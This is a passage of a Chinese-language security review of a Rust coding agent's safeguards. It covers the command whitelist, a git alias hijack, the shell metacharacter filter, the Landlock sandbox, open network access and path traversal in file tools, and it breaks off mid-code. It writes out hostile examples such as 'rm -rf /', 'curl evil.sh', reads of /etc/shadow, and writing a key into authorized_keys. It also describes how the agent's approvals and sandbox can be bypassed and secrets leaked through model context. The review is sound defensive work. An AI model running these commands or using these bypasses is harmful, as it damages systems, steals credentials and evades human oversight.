<span class="w">    </span><span class="na">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">!rm -rf /tmp/x</span>
</code></pre></div>


那么 <code>git status</code> 会被 git 展开成 <code>!rm -rf /tmp/x</code> 并交给 shell 执行。判定函数看到的子命令是 <code>status</code>，在白名单里，于是免问执行——而实际跑的是完全不同的东西。

第三个洞的解决办法只有一条：<strong>不看别名，直接看 git 真正会做什么</strong>。可以用 <code>git config --get alias.status</code> 先查一遍，或者更简单——把 <code>git</code> 从「免问白名单」里整个拿掉。只读 git 命令的收益（少问几次）远小于这三个洞的风险，尤其 <code>git status</code> 后面跟着的往往还有 <code>git diff</code>、<code>git log</code>，全都可以用同样方式劫持。

一个折中方案：把 git 的可信判定改成「必须是 <code>git &lt;sub&gt;</code> 形式，且不含任何 <code>-c</code> / <code>--exec-path</code> / <code>--config-env</code>，且通过 <code>git config --get alias.&lt;sub&gt;</code> 确认没有别名」。三条都满足才免问。这个逻辑大约 20 行，但需要额外 spawn 一次 git——对「免问」这个目标来说，成本已经高到不值得了。
<h2>元字符屏蔽：那九个字符是必要的</h2>

回到第一节的判定。九个字符的屏蔽是整套逻辑里最有效的一条，值得单独说清它的完备性。
<div class="table-scroll"><table>
<thead>
<tr>
<th>字符</th>
<th>挡住的构造</th>
<th>如果漏了会怎样</th>
</tr>
</thead>
<tbody>
<tr>
<td>竖线</td>
<td>管道</td>
<td><code>ls \| rm -rf /</code></td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td>后台、逻辑与</td>
<td><code>ls &amp;&amp; curl evil.sh</code></td>
</tr>
<tr>
<td><code>;</code></td>
<td>命令分隔</td>
<td><code>ls; rm -rf /</code></td>
</tr>
<tr>
<td><code>&lt;</code></td>
<td>输入重定向</td>
<td><code>cat &lt; /etc/shadow</code></td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td>输出重定向</td>
<td><code>echo x &gt; ~/.bashrc</code></td>
</tr>
<tr>
<td>反引号</td>
<td>命令替换</td>
<td>ls 后跟反引号包裹的 rm</td>
</tr>
<tr>
<td><code>$</code></td>
<td>变量、命令替换</td>
<td><code>ls $(rm -rf /)</code></td>
</tr>
<tr>
<td><code>(</code> <code>)</code></td>
<td>子 shell</td>
<td><code>(rm -rf /)</code></td>
</tr>
<tr>
<td>换行</td>
<td>多行命令</td>
<td>第一行 <code>ls</code>，第二行 <code>rm -rf /</code></td>
</tr>
</tbody>
</table></div>

这套屏蔽的关键在于：<strong>它是在「按空白切词」之前做的，针对的是整条命令字符串</strong>。所以不管这些字符出现在哪个位置（引号里、单词中间），都会被拦。这比「先切词再检查每个 token」可靠得多，因为引号和转义会让切词结果和 shell 的真实解析不一致。

但要说清它不挡什么：
<ul>
<li>反斜杠没挡——<code>\rm</code> 在 shell 里就是 <code>rm</code>，但 <code>is_trusted_command</code> 看到的 program 是 <code>\rm</code>，不在白名单里，所以判不可信。方向是安全的，只是会误报</li>
<li><code>#</code>（注释）和引号都没挡——注释不影响执行，引号本身不构成危险，引号里的内容一旦含元字符就会被挡</li>
</ul>

所以这九个字符的组合是够用的。真正的风险不在元字符，而在前面三节讲的「程序身份的判定」——元字符挡的是「一条命令做多件事」，而 <code>sort -o</code>、<code>/tmp/ls</code>、<code>LD_PRELOAD</code> 都是「一条命令做一件事，但那件事不是你以为的」。
<h2>Landlock：不引入任何 crate 的内核沙箱</h2>

前四道闸门都在应用层。第五道在<strong>内核层</strong>，而且它的实现方式值得单独拆——因为它没有引入任何依赖。

Linux 5.13 引入的 Landlock 是一个「非特权进程自我限制」的机制：进程可以给自己装一套规则，声明「我只能访问这些路径的这些权限」，安装之后<strong>无法撤销</strong>，且对子进程继承。这正好是沙箱需要的东西。

NanoHermes 直接用裸系统调用实现，三个调用号硬编码：
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">SYS_LANDLOCK_CREATE_RULESET</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">444</span><span class="p">;</span>
<span class="k">const</span><span class="w"> </span><span class="n">SYS_LANDLOCK_ADD_RULE</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">445</span><span class="p">;</span>
<span class="k">const</span><span class="w"> </span><span class="n">SYS_LANDLOCK_RESTRICT_SELF</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">446</span><span class="p">;</span>
</code></pre></div>


这三个号在 x86_64 和 aarch64 上是相同的（Landlock 的设计者特意让它们跨架构一致），所以不需要按架构分支。这也是为什么代码里的 <code>cfg</code> 只按 <code>target_os = "linux"</code> 和两个架构开关，不处理 armv7、riscv 等。

它同时还需要一个 prctl：
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">PR_SET_NO_NEW_PRIVS</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">38</span><span class="p">;</span>
</code></pre></div>


这个必须最先做，因为 Landlock 的规则集只能在 <code>no_new_privs</code> 下生效——否则一个 setuid 程序就能绕过限制。
<h2>pre_exec 里能做什么，不能做什么</h2>

沙箱必须装在<strong>子进程 fork 之后、exec 之前</strong>。Rust 给的入口是 <code>CommandExt::pre_exec</code>：
<div class="codehilite"><pre><span></span><code><span class="n">cmd</span><span class="p">.</span><span class="n">pre_exec</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">apply</span><span class="p">(</span><span class="n">handled</span><span class="p">,</span><span class="w"> </span><span class="n">abi</span><span class="p">,</span><span class="w"> </span><span class="n">root</span><span class="p">.</span><span class="n">as_c_str</span><span class="p">(),</span><span class="w"> </span><span class="n">ws</span><span class="p">.</span><span class="n">as_deref</span><span class="p">())</span>
<span class="w">        </span><span class="p">.</span><span class="n">map_err</span><span class="p">(</span><span class="n">std</span><span class="p">::</span><span class="n">io</span><span class="p">::</span><span class="n">Error</span><span class="p">::</span><span class="n">from_raw_os_error</span><span class="p">)</span>
<span class="p">});</span>
</code></pre></div>


这段闭包运行在 fork 出来的子进程里，此时整个进程只有一个线程（fork 只复制调用线程），所有其他线程的锁状态都是不确定的。这意味着闭包里<strong>绝对不能</strong>：
<ul>
<li>分配内存（<code>malloc</code> 可能持有父进程某把锁）</li>
<li>获取任何锁（那把锁可能正被父进程另一个线程持有）</li>
<li>调用任何非 async-signal-safe 的函数</li>
<li>做格式化输出、<code>println!</code>、panic（panic 会走格式化，可能分配）</li>
</ul>

代码里的实现严格守住了这条线：<code>apply</code> 只用栈上的 <code>RulesetAttr</code> 和 <code>PathBeneathAttr</code> 两个 <code>#[repr(C)]</code> 结构体，只调 <code>syscall</code>，失败时返回 errno 而不是构造字符串。这一行的注释也写明了：
<div class="codehilite"><pre><span></span><code><span class="c1">// SAFETY: the closure runs in the freshly forked child before `exec`;</span>
<span class="c1">// it issues raw syscalls and touches only stack-allocated structs, so</span>
<span class="c1">// it performs no allocation and takes no locks.</span>
</code></pre></div>


这是整个沙箱实现里最容易写错的地方。一个很自然的写法是「失败时 <code>format!</code> 一个错误消息」——那就会在 fork 后的子进程里 <code>malloc</code>，在父进程高并发时偶发死锁。表现出来是「命令偶尔卡住」，几乎无法定位。

另一个细节是 <code>CString</code> 的预分配：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CString</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="s">&quot;/&quot;</span><span class="p">).</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;literal has no NUL&quot;</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">ws</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CString</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">workspace</span><span class="p">.</span><span class="n">as_os_str</span><span class="p">().</span><span class="n">as_bytes</span><span class="p">())</span>
<span class="w">    </span><span class="p">.</span><span class="n">map_err</span><span class="p">(</span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;workspace path {workspace:?} contains a NUL byte&quot;</span><span class="p">))</span><span class="o">?</span><span class="p">;</span>
</code></pre></div>


两个 <code>CString</code> 在 <code>attach</code> 时就构造好，被 <code>move</code> 进闭包。所以闭包里只有 <code>as_c_str()</code>，没有分配。这个「把所有准备工作提前到 fork 之前」的模式是 <code>pre_exec</code> 的正确用法。
<h2>ABI 版本与掩码：为什么权限要按版本裁剪</h2>

Landlock 是随内核演进的。每个版本增加新的权限位，而传入未知位会导致 <code>EINVAL</code>：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">handled_fs_bits</span><span class="p">(</span><span class="n">abi</span><span class="p">:</span><span class="w"> </span><span class="kt">u32</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">u64</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">bits</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ALL_FS</span><span class="p">;</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">abi</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">bits</span><span class="w"> </span><span class="o">&amp;=</span><span class="w"> </span><span class="o">!</span><span class="n">FS_REFER</span><span class="p">;</span><span class="w">      </span><span class="c1">// ABI 2 才有跨目录 rename</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">abi</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">bits</span><span class="w"> </span><span class="o">&amp;=</span><span class="w"> </span><span class="o">!</span><span class="n">FS_TRUNCATE</span><span class="p">;</span><span class="w">   </span><span class="c1">// ABI 3 才有 truncate</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">abi</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">bits</span><span class="w"> </span><span class="o">&amp;=</span><span class="w"> </span><span class="o">!</span><span class="n">FS_IOCTL_DEV</span><span class="p">;</span><span class="w">  </span><span class="c1">// ABI 5 才有设备 ioctl</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="n">bits</span>
<span class="p">}</span>
</code></pre></div>


这个裁剪不是可选的优化，是必须的：在 ABI 1 的内核上传 <code>FS_TRUNCATE</code> 位，<code>create_ruleset</code> 直接返回 <code>EINVAL</code>，整个沙箱装不上。而「装不上」在这里等于「命令不能跑」（下一节讲为什么），所以裁剪逻辑错了的表现是「所有命令都失败」。

同样，结构体大小也要按版本给：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">ruleset_size</span><span class="p">(</span><span class="n">abi</span><span class="p">:</span><span class="w"> </span><span class="kt">u32</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">abi</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="mi">6</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">abi</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">16</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


三个 <code>u64</code> 分别是 <code>handled_access_fs</code>、<code>handled_access_net</code>（ABI 4 加）、<code>scoped</code>（ABI 6 加）。内核的约定是「结构体可以比你认识的小」——传小一点是合法的，多出来的字段会被当成 0。所以这个「按版本给最小够用大小」的写法是向前兼容的，而不是取巧。

这套 ABI 处理有一个隐含假设：<strong>常量表要和内核版本同步维护</strong>。ABI 6 之后如果有 ABI 7 加了新的权限位，<code>ALL_FS</code> 里没有它，沙箱就管不到那个维度——而代码不会报错，因为「没声明处理这个维度」在内核看来是合法的（不处理 = 不限制）。这是 Landlock 的语义特点：<strong>你声明处理哪些维度，就只限制那些维度；没声明的完全放行</strong>。所以漏一个位不会失败，只会静默地少保护一层。
<h2>只读根加工作区可写：两条路径规则</h2>

规则集装好之后，加几条路径规则就决定了最终权限。实现里最多两条：
<div class="codehilite"><pre><span></span><code><span class="c1">// 3. 全盘可读可执行，写权限默认拒绝</span>
<span class="n">add_path_rule</span><span class="p">(</span><span class="n">rs_fd</span><span class="p">,</span><span class="w"> </span><span class="n">root</span><span class="p">,</span><span class="w"> </span><span class="n">READ_EXEC</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
<span class="c1">// 4. 工作区内完全放开（仅 workspace-write）</span>
<span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">ws</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ws</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">add_path_rule</span><span class="p">(</span><span class="n">rs_fd</span><span class="p">,</span><span class="w"> </span><span class="n">ws</span><span class="p">,</span><span class="w"> </span><span class="n">handled</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>


<code>READ_EXEC</code> 是 <code>FS_EXECUTE | FS_READ_FILE | FS_READ_DIR</code>——只有读和执行，没有任何写。因为 <code>handled</code> 里包含了所有写权限位，而根路径只授予了读和执行，所以<strong>未声明的写权限默认拒绝</strong>。这就是「默认拒绝、显式授予」的白名单模型。

第二种模式 <code>ReadOnly</code> 不加第二条规则，于是全盘只有读和执行，工作区也不例外。<code>WorkspaceWrite</code> 加第二条，工作区拿到全部权限（包括 <code>FS_MAKE_CHAR</code>、<code>FS_MAKE_SOCK</code> 等）。

这里有一个容易被忽略的后果：<strong><code>READ_EXEC</code> 覆盖整个 <code>/</code>，所以沙箱里的命令能读任何文件</strong>——包括 <code>~/.ssh/id_rsa</code>、<code>~/.aws/credentials</code>、<code>.env</code>、以及别的项目的源码。沙箱只限制「写」，不限制「读」。

为什么这样设计？因为限制读会让绝大多数命令直接失效：<code>sh</code> 要读 <code>/bin/sh</code> 的依赖库，<code>cargo</code> 要读 <code>~/.cargo</code>，<code>git</code> 要读全局配置。要把读也限制住，需要把每条路径都列出来——那是一份很长、很容易漏、且随系统变化的清单。

但「能读全盘」意味着<strong>数据外泄是一个真实风险</strong>：<code>cat ~/.ssh/id_rsa</code> 是只读命令，免问；结果会作为工具输出回到模型，再随下一次请求发到模型服务商。沙箱对此毫无作用，因为它不限制读，也不限制网络。
<h2>网络没有被限制</h2>

Landlock 从 ABI 4 开始支持网络限制（TCP bind/connect），但这份实现把网络权限位传了 0：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">attr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RulesetAttr</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">handled_access_fs</span><span class="p">:</span><span class="w"> </span><span class="nc">handled</span><span class="p">,</span>
<span class="w">    </span><span class="n">handled_access_net</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="w">    </span><span class="n">scoped</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div>


<code>handled_access_net = 0</code> 的语义是「我不处理网络维度」，也就是<strong>网络完全不受限</strong>。所以沙箱里的命令可以：
<ul>
<li>连任意 IP 和端口</li>
<li><code>curl</code> 上传文件到外部</li>
<li>建立反向 shell</li>
<li>访问云元数据服务（<code>169.254.169.254</code>）</li>
</ul>

对一个「只限制文件写入」的沙箱，这是合理的分层：它解决的是「别把我的磁盘改坏」，不是「别把我的数据传出去」。但如果目标是「让 Agent 跑不可信代码」，网络就是一个必须处理的维度，而当前实现完全敞开着。

补上的成本不高（ABI 4+）：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">attr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RulesetAttr</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">handled_access_fs</span><span class="p">:</span><span class="w"> </span><span class="nc">handled</span><span class="p">,</span>
<span class="w">    </span><span class="c1">// 处理 TCP bind/connect，但不授予任何端口</span>
<span class="w">    </span><span class="n">handled_access_net</span><span class="p">:</span><span class="w"> </span><span class="nc">NET_BIND_TCP</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">NET_CONNECT_TCP</span><span class="p">,</span>
<span class="w">    </span><span class="n">scoped</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="p">};</span>
<span class="c1">// 不给任何 net 规则 = 全部拒绝</span>
</code></pre></div>


代价是所有需要网络的命令都会失败。所以这应该是第三种模式（比如 <code>workspace-write-nonet</code>），而不是改现有模式。这也说明「沙箱模式」这个枚举的维度其实不止一个：filesystem、network、process（pid）、IPC——每加一个维度，组合数就翻倍。
<h2>失败即拒绝：为什么不肯降级</h2>

沙箱实现里最重要的一条策略在 <code>attach</code> 里：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">abi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">landlock_abi</span><span class="p">().</span><span class="n">ok_or_else</span><span class="p">(</span><span class="o">||</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="s">&quot;this kernel does not expose Landlock (Linux &gt;= 5.13 required); \</span>
<span class="s">     refusing to run unsandboxed&quot;</span>
<span class="w">        </span><span class="p">.</span><span class="n">to_string</span><span class="p">()</span>
<span class="p">})</span><span class="o">?</span><span class="p">;</span>
</code></pre></div>


内核不支持时，不是「降级成不沙箱」，而是<strong>返回错误、命令不执行</strong>。非 Linux 平台同理：
<div class="codehilite"><pre><span></span><code><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span>
<span class="w">    </span><span class="s">&quot;sandbox mode {mode:?} requires Linux with Landlock support; refusing to run unsandboxed&quot;</span>
<span class="p">))</span>
</code></pre></div>


这个选择的意义在于：沙箱的承诺是「写入不会超出工作区」。如果内核不支持就静默降级，这个承诺就变成了「通常不会超出工作区」——而用户以为它是绝对的。<strong>安全机制最危险的失效方式是静默失效</strong>，因为它不改变用户的行为，只改变实际保护级别。

fail closed 的代价也很直接：在 macOS 和 Windows 上开沙箱，所有命令都会报错。所以启动时有一个提前警告：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">cfg</span><span class="p">.</span><span class="n">sandbox</span><span class="p">.</span><span class="n">is_active</span><span class="p">()</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="o">!</span><span class="n">sandbox</span><span class="p">::</span><span class="n">is_supported</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="fm">eprintln!</span><span class="p">(</span>
<span class="w">        </span><span class="s">&quot;warning: sandbox {:?} requested but this kernel does not expose Landlock; ...&quot;</span>
<span class="w">    </span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


这个警告是必要的，但它只打印一次，而且不阻止启动。更好的做法是：在 <code>goal</code> 模式 + 沙箱开启 + 平台不支持的组合下，直接拒绝启动——因为那个组合意味着「无人监督 + 每条命令都会失败」，跑下去只会浪费 token。
<h2>沙箱只覆盖子进程：最大的缺口</h2>

到这里，五道闸门都讲完了。现在看它们拼起来的实际覆盖面——这是本文最重要的一个表：
<div class="table-scroll"><table>
<thead>
<tr>
<th>工具</th>
<th>check_tool</th>
<th>钩子</th>
<th>审批</th>
<th>Landlock</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>read_file</code></td>
<td>是</td>
<td>是</td>
<td>否</td>
<td><strong>否</strong></td>
</tr>
<tr>
<td><code>write_file</code></td>
<td>是</td>
<td>是</td>
<td>否</td>
<td><strong>否</strong></td>
</tr>
<tr>
<td><code>edit_file</code></td>
<td>是</td>
<td>是</td>
<td>否</td>
<td><strong>否</strong></td>
</tr>
<tr>
<td><code>apply_patch</code></td>
<td>是</td>
<td>是</td>
<td>否</td>
<td><strong>否</strong></td>
</tr>
<tr>
<td><code>run_command</code>（前台）</td>
<td>是</td>
<td>是</td>
<td>是</td>
<td>是</td>
</tr>
<tr>
<td><code>run_command</code>（后台）</td>
<td>是</td>
<td>是</td>
<td>是</td>
<td>是</td>
</tr>
<tr>
<td><code>git_commit</code></td>
<td>是</td>
<td>是</td>
<td>是</td>
<td><strong>否</strong></td>
</tr>
<tr>
<td><code>web_fetch</code></td>
<td>是</td>
<td>是</td>
<td>否</td>
<td>否（进程内 HTTP）</td>
</tr>
</tbody>
</table></div>

内置文件工具只受前两道管。它们不 spawn 子进程，所以 Landlock 完全够不着——沙箱是装在<strong>子进程</strong>上的，而 <code>write_file</code> 跑在 agent 自己的进程里。

这意味着 <code>sandbox: workspace-write</code> 的实际语义是「<strong>子进程</strong>不能写到工作区外」，而不是「这个 agent 不能写到工作区外」。agent 自己可以用一条 <code>write_file</code> 写到任何地方：
<div class="codehilite"><pre><span></span><code>write_file(path=&quot;/home/user/.ssh/authorized_keys&quot;, content=&quot;ssh-rsa AAAA...&quot;)
</code></pre></div>


这条调用通过 <code>check_tool</code>（<code>write_file</code> 不在任何封禁列表里，<code>default</code> 模式下允许），不触发钩子（除非用户配了），不需要审批（审批只在 shell 里），不受沙箱限制（没有子进程）。四道闸门全部不适用。

<code>read_file</code> 同理，而且后果更直接：读 <code>~/.ssh/id_rsa</code> 的内容会作为工具结果回到模型上下文，然后随下一次 API 请求发出去。这是一条完整的「本地文件 → 远端服务」通道，不需要网络权限，因为<strong>Agent 的模型调用本来就是出网的</strong>。

修复这个东西不能靠「再加一道闸门」，因为缺的不是闸门，是<strong>内置工具没有沙箱</strong>。正确的修法有两个方向：

<strong>方向一：给内置文件工具加路径检查。</strong> 在 <code>resolve()</code> 之后加一个「必须在 root 内」的判定（下一节详述）。这是最小改动，也是最直接的修复。缺点是它只覆盖路径类工具，<code>web_fetch</code> 之类的仍然另说。

<strong>方向二：让内置工具走沙箱。</strong> 这不可行——Landlock 是进程级的、不可撤销的，一旦装上，agent 自己就读不到 <code>~/.nanohermes/config.json</code> 和系统 prompt 了。

所以方向一是唯一选择。而它的正确实现需要解决三件事：规范化（<code>..</code> 和绝对路径）、符号链接、以及「哪些路径算例外」（比如 <code>~/.nanohermes/</code> 下的会话文件必须可读写）。
<h2>resolve 不做规范化：绝对路径与 .. 直通</h2>

当前实现只有四行：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">resolve</span><span class="p">(</span><span class="n">root</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Path</span><span class="p">,</span><span class="w"> </span><span class="n">p</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">PathBuf</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">path</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Path</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">path</span><span class="p">.</span><span class="n">is_absolute</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">path</span><span class="p">.</span><span class="n">to_path_buf</span><span class="p">()</span>
<span class="w">    </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">root</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


两个分支都<strong>不做任何规范化</strong>：
<ul>
<li>绝对路径原样返回，<code>/etc/passwd</code> 就是 <code>/etc/passwd</code></li>
<li>相对路径只是 <code>join</code>，<code>../../etc/passwd</code> 会变成 <code>&lt;root&gt;/../../etc/passwd</code></li>
</ul>

后者在文件系统层面等价于 <code>/etc/passwd</code>（取决于 root 的深度），所以 <code>..</code> 也能逃出去。这不是一个「理论漏洞」，它的利用难度和写 <code>/etc/passwd</code> 完全一样：
<div class="codehilite"><pre><span></span><code>read_file(path=&quot;../../../../etc/shadow&quot;)
</code></pre></div>


<code>Path::is_absolute()</code> 对这个字符串返回 false，于是走 <code>join</code>，得到一个含 <code>..</code> 的路径，<code>fs::read</code> 会正常解析它。

修法是加一个「词法规范化 + 前缀检查」。注意不能只用 <code>canonicalize()</code>——它会解析符号链接，而且要求路径存在（新建文件时不存在）。正确的顺序是：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">resolve_checked</span><span class="p">(</span><span class="n">root</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Path</span><span class="p">,</span><span class="w"> </span><span class="n">p</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="n">PathBuf</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">joined</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">Path</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">p</span><span class="p">).</span><span class="n">is_absolute</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">PathBuf</span><span class="p">::</span><span class="n">from</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="w">    </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">root</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="w">    </span><span class="p">};</span>
<span class="w">    </span><span class="c1">// 1. 词法规范化：消掉 . 和 ..</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">PathBuf</span><span class="p">::</span><span class="n">new</span><span class="p">();</span>
<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">comp</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">joined</span><span class="p">.</span><span class="n">components</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">match</span><span class="w"> </span><span class="n">comp</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">Component</span><span class="p">::</span><span class="n">ParentDir</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">out</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span><span class="w"> </span><span class="p">}</span>
<span class="w">            </span><span class="n">Component</span><span class="p">::</span><span class="n">CurDir</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{}</span>
<span class="w">            </span><span class="n">other</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">out</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">other</span><span class="p">),</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 2. 前缀检查（词法层面）</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">out</span><span class="p">.</span><span class="n">starts_with</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;path {} escapes the workspace&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">out</span><span class="p">.</span><span class="n">display</span><span class="p">()));</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 3. 若已存在，再按 canonical 结果复查一次（防符号链接）</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="n">real</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">out</span><span class="p">.</span><span class="n">canonicalize</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
